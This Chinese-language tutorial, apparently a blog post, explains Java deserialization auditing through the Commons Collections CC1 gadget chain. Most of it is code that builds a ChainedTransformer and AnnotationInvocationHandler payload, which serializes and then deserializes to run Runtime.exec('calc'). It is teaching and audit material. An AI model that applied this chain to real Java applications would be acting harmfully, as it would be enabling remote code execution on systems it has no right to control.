java审计之java反序列化-CC链

介绍

序列化的本质是内存对象到数据流的一种转换，我们知道内存中的东西不具备持久性，但有些场景却需要将对象持久化保存或传输。
在Java工程中，序列化还广泛应用于JMX，RMI，网络传输（协议包对象）等场景，可以说序列化机制赋予了内存对象持久化的机会
注解

反射

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

Transformer

Transformer是一个用于规范类型转换行为的接口，实现该接口的类有：ChainedTransformer,

ChainedTransformer

链式转换器。传入Transformer数组初始化对象；transform方法依次调用Transformer实现类的transform方法处理传入对象，也就是transform方法的组合拳利用

ChainedTransformer chain = new ChainedTransformer(
        new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new Object[]{"calc.exe"}
                )
        }
);
chain.transform("zgc");

ConstantTransformer

返回构造ConstantTransformer对象时传入的对象；transform方法会忽略传入参数，不会改变当前对象

InvokerTransformer

通过反射调用传入对象的方法（public属性）
commons-collections从3.2.2版本开始尝试序列化或反序列化此类都会抛出UnsupportedOperationException异常，这个举措是为了防止远程代码执行；如果允许序列化该类就要在运行时添加属性-Dproperty=true

commons-collections4从4.1之后直接禁止被用于反序列化

Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());

InstantiateTransformer

通过反射调用传入对象的构造方法新建对象，3.2.2之后启用序列化也需要属性-Dproperty=true，4.1之后也禁止用于反序列化

String[] arg = {"exec"};
InstantiateTransformer it = new InstantiateTransformer(new Class[]{String.class}, arg);
Object o = it.transform(String.class); // 初始化 String 对象
System.out.println(o);

CC1链逆推

在这里插入图片描述

反射

// 直接调用
//        Runtime.getRuntime().exec("calc");

// 反射调用
//        Class RuntimeC = Runtime.class;
//        Method exec = RuntimeC.getMethod("exec", String.class);
//        exec.invoke(Runtime.getRuntime(),"calc");


// InvokerTransformer
Object exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());

寻找InvokerTransformer.transform被调用

寻找InvokerTransformer.transform被调用，TransformedMap.checkSetValue有调用

寻找TransformedMap.checkSetValue被调用

寻找TransformedMap.checkSetValue被调用，AbstractInputCheckedMapDecorator.setValue有调用（Map设值的会调用）

for Map.Entry 调用->TransformedMap.checkSetValue->AbstractInputCheckedMapDecorator.setValue

// invokerTransformer.transform
// InvokerTransformer + TransformedMap + Map.entrySet.setValue
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("xx","yy");
Map<Object,Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry:decorateMap.entrySet()){
    entry.setValue(Runtime.getRuntime());
}

在这里插入图片描述

Annotation调用->TransformedMap.checkSetValue->AbstractInputCheckedMapDecorator.setValue

先看chainedTransformer的推导

Transformer[] transforms = new Transformer[]{
      // 通过Transformer反射Class再反射Runtime
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
      new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
      new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
//        chainedTransformer.transform(Runtime.class);

// invokerTransformer.transform
// InvokerTransformer + TransformedMap + Map.entrySet.setValue
//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
//        for (Map.Entry entry : decorateMap.entrySet()) {
//            entry.setValue(Runtime.getRuntime());
//        }

Class<?> AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorateMap);

serialize(o);
unSerialize("serializeFile");

chainedTransformer的推导

Class 可以序列化，Runtime不能序列化

通过直接Class反射Runtime

// Runtime 序列化
Class runtimeClass = Runtime.class;
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime", null);
Runtime runtimeMethodInvoke = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = runtimeClass.getMethod("exec", String.class);
execMethod.invoke(runtimeMethodInvoke, "calc");

通过Transformer反射Class再反射Runtime
在这里插入图片描述

// 通过Transformer反射Class再反射Runtime
Method getRuntimeMethodByTransformer = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime runtimeMethodInvokeByTransformer = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethodByTransformer);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtimeMethodInvokeByTransformer);

ChainedTransformer优化transformer

Transformer[] transforms = new Transformer[]{
        // 通过Transformer反射Class再反射Runtime
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
chainedTransformer.transform(Runtime.class);

输出对象不一定是Runtime

使用ConstantTransformer保证输出对象

Transformer[] transforms = new Transformer[]{
      // 通过Transformer反射Class再反射Runtime
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
      new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
      new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};